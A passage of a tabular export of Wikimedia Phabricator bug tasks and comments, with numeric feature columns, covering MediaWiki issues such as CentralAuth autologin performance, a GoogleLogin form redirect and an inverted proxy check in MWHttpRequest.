or, nicer, have an index page that explains what it is and links to both of these places"
413298,stream.wikimedia.org - redirect http(s) to docs,This seems like a pretty straightforward way to make this service more useful. Pinging @SPage since he's currently working on docs related to RCStream and could identify the ideal URL to redirect to.,,,1424245546,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,20.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,20.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.914285714285715,0.8857142857142857,This seems like a pretty straightforward way to make this service more useful. PingingSCREEN_NAME since he's currently working on docs related to RCStream and could identify the ideal URL to redirect to.
70143,Enter should submit user login form instead of GoogleLogin,"When the user hit enter to send his login data on the login form in a wiki using GoogleLogin, he will  be redirected to the GoogleLogin authentication prompt, if the login data was incorrectm, instead of show the ""login failed"" screen.

-> Check in AuthPlugin, if username and password is set, and if so, don't use GoogleLogin.

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1405585380,1406481878.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_description,resolved,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,9.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,8.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.808988764044944,0.6404494382022472,"When the user hit enter to send his login data on the login form in a wiki using GoogleLogin, he will  be redirected to the GoogleLogin authentication prompt, if the login data was incorrectm, instead of show the ""login failed"" screen.

-> Check in AuthPlugin, if username and password is set, and if so, don't use GoogleLogin.

--------------------------
**Version**: master
**Severity**: normal"
318521,Enter should submit user login form instead of GoogleLogin,"Change 149540 merged by jenkins-bot:
Don't redirect to Google auth if user hit enter

https://gerrit.wikimedia.org/r/149540",,,1406480337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 149540 merged by jenkins-bot:
Don't redirect to Google auth if user hit enter

GERRIT_URL"
318518,Enter should submit user login form instead of GoogleLogin,"Change 149540 had a related patch set uploaded by Florianschmidtwelzow:
Don't redirect to Google auth if user hit enter

https://gerrit.wikimedia.org/r/149540",,,1406398437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 149540 had a related patch set uploaded by Florianschmidtwelzow:
Don't redirect to Google auth if user hit enter

GERRIT_URL"
68828,CentralAuth: Audit autologin procedure for performance and code quality,"I'm not happy about how the (still relatively new) added feature for autologin works.

The new JS-based procedure replaces old the in-between page and its `<img>` loads.

This is a reminder to perform a back-to-back audit of it and clean or refactor it. ~~Perhaps we can walk through it this September when I'm visiting the office.~~


It currently performs upto 55 network requests to get things set up:F or each of the entry points CA tries to hit (listed below) multiplied by the number of wiki projects (wikipedia, wikibooks, wiktionary, etc.)

  - Special:CentralAutoLogin/start,
  - Special:CentralAutoLogin/checkLoggedIn
  - Special:CentralAutoLogin/createSession
  - Special:CentralAutoLogin/validateSession
  - Special:CentralAutoLogin/setCookies

##### See also

* Introduced in <https://gerrit.wikimedia.org/r/58924> / 7a03ac9ac6c28
* Duplicate: {T91196}
* Duplicate: {T130935}
* Bug: {T202028}
* Prior perf work: {T56195}",Medium,50.0,1403167260,1705463584.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-u2ym2baygxtqximfgwwo,task_description,declined,True,c3,1,True,False,False,-54,True,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,2.3333333333333335,5.666666666666667,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,13.0,0.6666666666666666,1.3333333333333333,3.6666666666666665,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.0,2.6666666666666665,5.666666666666667,10.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,2.0,3.9366403277729005,0.6776412057360258,"I'm not happy about how the (still relatively new) added feature for autologin works.

The new JS-based procedure replaces old the in-between page and its CODE loads.

This is a reminder to perform a back-to-back audit of it and clean or refactor it. ~~Perhaps we can walk through it this September when I'm visiting the office.~~


It currently performs upto 55 network requests to get things set up:F or each of the entry points CA tries to hit (listed below) multiplied by the number of wiki projects (wikipedia, wikibooks, wiktionary, etc.)

  - Special:CentralAutoLogin/start,
  - Special:CentralAutoLogin/checkLoggedIn
  - Special:CentralAutoLogin/createSession
  - Special:CentralAutoLogin/validateSession
  - Special:CentralAutoLogin/setCookies

##### See also

* Introduced in <GERRIT_URL> / 7a03ac9ac6c28
* Duplicate: {T91196}
* Duplicate: {T130935}
* Bug: {T202028}
* Prior perf work: {T56195}"
2260000,CentralAuth: Audit autologin procedure for performance and code quality,"While working on T327046 last year, I've read through all of this code, and made a number of code quality improvements (https://gerrit.wikimedia.org/r/q/owner:matmarex+project:mediawiki/extensions/CentralAuth+mergedafter:2023-10-10+mergedbefore:2024-01-01). I'm not sure if you can call this an audit, but I felt that what was left was ugly but necessary, and I feel that a more formal audit is not needed.",,,1705463584,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,445,True,2.0,0.0,0.0,3.0,3.0,8.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,5.0,13.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,11.0,6.0,6.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,13.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,3.532258064516129,0.7419354838709677,"While working on T327046 last year, I've read through all of this code, and made a number of code quality improvements (URL I'm not sure if you can call this an audit, but I felt that what was left was ugly but necessary, and I feel that a more formal audit is not needed."
2215735,CentralAuth: Audit autologin procedure for performance and code quality,"Edge login seems to be triggered more than it should (e.g. a successful edge login on a wiki sets the `CentralAuthDoEdgeLogin` flag so the next visit to that wiki will trigger another edge login; I don't really get the point of that).

Other than that I'm not sure what small changes we could do performance-wise (the code quality could certainly be improved). At some point we'll have to get rid of edge login and having the login interface available on every wiki ({T348388}), and then we can try to simplify things. But that will be a major refactoring.",,,1697938409,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,433,True,1.5,0.0,0.0,1.5,1.0,5.5,1.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,3.0,1.0,4.0,7.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.5,2.5,9.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,3.5,7.5,1.0,0.0,0.0,0.0,3.5,0.0,0.5,2.0,0.0,1.0,0.5,0.0,0.0,3.7288135593220337,0.8050847457627119,"Edge login seems to be triggered more than it should (e.g. a successful edge login on a wiki sets the CODE flag so the next visit to that wiki will trigger another edge login; I don't really get the point of that).

Other than that I'm not sure what small changes we could do performance-wise (the code quality could certainly be improved). At some point we'll have to get rid of edge login and having the login interface available on every wiki ({T348388}), and then we can try to simplify things. But that will be a major refactoring."
1192486,CentralAuth: Audit autologin procedure for performance and code quality,">>! At T91196, @Nemo_bis wrote:
> In an ideal world, unregistered users wouldn't need to load Special:CentralAutoLogin/checkLoggedIn on every single page view (e.g. `https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=itwikiquote&proto=https`). 


>>! In T130935#2152565, @Jdlrobson wrote:
> The offending line is in ext.centralauth.centralautologin.js
>> mw.loader.load( url );
> 
> I wonder if this should only be executing on a window onload event",,,1544417688,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,179,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,54.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,46.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.23076923076923078,"QUOTE
QUOTE


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
68769,POST request sent without content-length creates entries in lighttpd's error.log,"For every request, lighttpd/1.4.31 was logging the following to error.log:

2014-06-18 10:13:56: (request.c.1148) POST-request, but content-length missing -> 411 

While these POST requests for every page view seem to be caused by bug 66225, it still seems wrong that a POST request is sent but its content-length is missing.

I've come across at least two other projects where this was fixed:

* https://core.trac.wordpress.org/ticket/8605
* http://bitten.edgewall.org/ticket/667

Can this be fixed in MediaWiki as well?

./includes/libs/MultiHttpClient.php does contain:

-------------------------------------------------
} elseif ( $req['method'] === 'POST' ) {
                        curl_setopt( $ch, CURLOPT_POST, 1 );
                        curl_setopt( $ch, CURLOPT_POSTFIELDS, $req['body'] );
                } else {
                        if ( is_resource( $req['body'] ) || $req['body'] !== '' ) {
                                throw new Exception( ""HTTP body specified for a non PUT/POST request."" );
                        }
                        $req['headers']['content-length'] = 0;
-------------------------------------------------

So, ""content-length"" is indeed set, but I don't know how to get a call chain to see if this method is really used here.

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1403080680,,PHID-USER-mmi3c2by3ie26if3verk,False,,False,PHID-TASK-wex2mr3kvzhewkxaz4dd,task_description,open,True,c3,1,False,False,,-55,True,0.6666666666666666,0.0,0.0,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,5.333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,4.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,15.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,2.6666666666666665,7.666666666666667,2.0,1.0,3.3333333333333335,0.0,0.0,0.3333333333333333,0.0,3.0,0.0,4.666666666666667,0.0,1.3333333333333333,5.333333333333333,2.6666666666666665,0.3333333333333333,4.0,0.0,1.3333333333333333,0.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.3333333333333333,1.3333333333333333,4.331765935214212,0.6656217345872518,"For every request, lighttpd/1.4.31 was logging the following to error.log:

2014-06-18 10:13:56: (request.c.1148) POST-request, but content-length missing -> 411 

While these POST requests for every page view seem to be caused by bug 66225, it still seems wrong that a POST request is sent but its content-length is missing.

I've come across at least two other projects where this was fixed:

* URL
* URL

Can this be fixed in MediaWiki as well?

./includes/libs/MultiHttpClient.php does contain:

-------------------------------------------------
} elseif ( $req['method'] === 'POST' ) {
                        curl_setopt( $ch, CURLOPT_POST, 1 );
                        curl_setopt( $ch, CURLOPT_POSTFIELDS, $req['body'] );
                } else {
                        if ( is_resource( $req['body'] ) || $req['body'] !== '' ) {
                                throw new Exception( ""HTTP body specified for a non PUT/POST request."" );
                        }
                        $req['headers']['content-length'] = 0;
-------------------------------------------------

So, ""content-length"" is indeed set, but I don't know how to get a call chain to see if this method is really used here.

--------------------------
**Version**: 1.23.0
**Severity**: normal"
68757,MWHttpRequest check for noproxy is inverted,"Bug T46113 claims to address this very statement which now reads

  if ( $this->proxy || !$this->noProxy ) {
     return;

To break this out:

  if (                        # if
       $this->proxy           # the proxy is already set
       ||                     # or
       !$this->noProxy        # noProxy is not set
     ) {
      return;

Instead, it should read ""If the proxy is already set or noProxy is set"":

  if ( $this->proxy || $this->noProxy ) {
     return;",Medium,50.0,1403049180,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-t53gk4hzph5lquydvrd6,task_description,open,True,c3,1,False,False,,-55,True,0.0,0.0,1.0,4.0,1.0,3.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,5.0,5.0,2.0,5.0,0.0,0.0,2.0,4.0,3.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.18,0.51,"Bug T46113 claims to address this very statement which now reads

  if ( $this->proxy || !$this->noProxy ) {
     return;

To break this out:

  if (                        # if
       $this->proxy           # the proxy is already set
       ||                     # or
       !$this->noProxy        # noProxy is not set
     ) {
      return;

Instead, it should read ""If the proxy is already set or noProxy is set"":

  if ( $this->proxy || $this->noProxy ) {
     return;"
304893,MWHttpRequest check for noproxy is inverted,"Clearing backport flag since nothing has been merged into master yet, and the patch has a -2 on it.",,,1408562902,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Clearing backport flag since nothing has been merged into master yet, and the patch has a -2 on it."
304887,MWHttpRequest check for noproxy is inverted,"Change 141374 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

https://gerrit.wikimedia.org/r/141374",,,1408561885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.115384615384615,0.8846153846153846,"Change 141374 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

GERRIT_URL"
304880,MWHttpRequest check for noproxy is inverted,"Change 141375 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

https://gerrit.wikimedia.org/r/141375",,,1408561881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.115384615384615,0.8846153846153846,"Change 141375 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

GERRIT_URL"
304873,MWHttpRequest check for noproxy is inverted,"Change 141376 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

https://gerrit.wikimedia.org/r/141376",,,1408561878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.115384615384615,0.8846153846153846,"Change 141376 abandoned by Legoktm:
Use correct condition for MWHttpRequest::proxySetup() function

Reason:
Not merged into master yet

GERRIT_URL"
304869,MWHttpRequest check for noproxy is inverted,"The code that this repairs simply doesn't work in my testing.  Granted, I may not be testing correctly, but I'd like to be shown that.

Set up a MW server that can only connect to the outside world via a proxy.  Now, set $wgHTTPProxy so the MW can use the proxy.

Call Http::get( ""http://www.google.com"" )

The call will fail because noProxy is false by default (meaning, use the proxy!) and so the condition 

 if ( $this->proxy || !$this->noProxy ) {

will be true and setupProxy() will return without setting $this->proxy to $wgHttpProxy.",,,1403708759,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.5,1.0,3.0,1.5,1.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,1.5,0.0,4.0,7.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,1.5,3.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,2.5,0.5,0.5,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,5.5,2.5,7.5,2.0,2.0,6.5,0.0,0.0,1.5,0.0,7.0,0.0,1.0,0.0,1.5,7.0,4.0,0.0,1.0,0.0,1.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,3.5382072977260712,0.7152300370174511,"The code that this repairs simply doesn't work in my testing.  Granted, I may not be testing correctly, but I'd like to be shown that.

Set up a MW server that can only connect to the outside world via a proxy.  Now, set $wgHTTPProxy so the MW can use the proxy.

Call Http::get( ""URL )

The call will fail because noProxy is false by default (meaning, use the proxy!) and so the condition 

 if ( $this->proxy || !$this->noProxy ) {

will be true and setupProxy() will return without setting $this->proxy to $wgHttpProxy."
304865,MWHttpRequest check for noproxy is inverted,"I think this change affects the logic in a non-intended way. The two conditions produce different results in case a proxy is set and proxy is disabled. In the original logic, the statement results in ""false"", and the following code is executed. In this proposed change, the proxy is unset, even if it was set before.

The change you are suggesting here leads to the proxy remaining set, if it was set before, even if we have the no proxy flag.

As Aaron Schulz and T.Gries pointed out in bug 44113, the former behaviour is inteded to bypass default settings on local urls.",,,1403699443,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,4.0,0.0,7.0,0.5,0.0,0.0,2.5,4.0,0.0,0.0,0.0,0.0,1.5,1.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,1.5,1.0,1.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,13.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,5.5,6.0,2.5,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,10.0,1.5,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.8688524590163933,0.6639344262295082,"I think this change affects the logic in a non-intended way. The two conditions produce different results in case a proxy is set and proxy is disabled. In the original logic, the statement results in ""false"", and the following code is executed. In this proposed change, the proxy is unset, even if it was set before.

The change you are suggesting here leads to the proxy remaining set, if it was set before, even if we have the no proxy flag.

As Aaron Schulz and T.Gries pointed out in bug 44113, the former behaviour is inteded to bypass default settings on local urls."
304861,MWHttpRequest check for noproxy is inverted,"Change 141376 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

https://gerrit.wikimedia.org/r/141376",,,1403492060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.818181818181818,1.0,"Change 141376 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

GERRIT_URL"
304857,MWHttpRequest check for noproxy is inverted,"Change 141375 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

https://gerrit.wikimedia.org/r/141375",,,1403492030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.818181818181818,1.0,"Change 141375 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

GERRIT_URL"
304852,MWHttpRequest check for noproxy is inverted,"Change 141374 had a related patch set uploaded by MarkAHershberger:
Use correct condition for MWHttpRequest::proxySetup() function

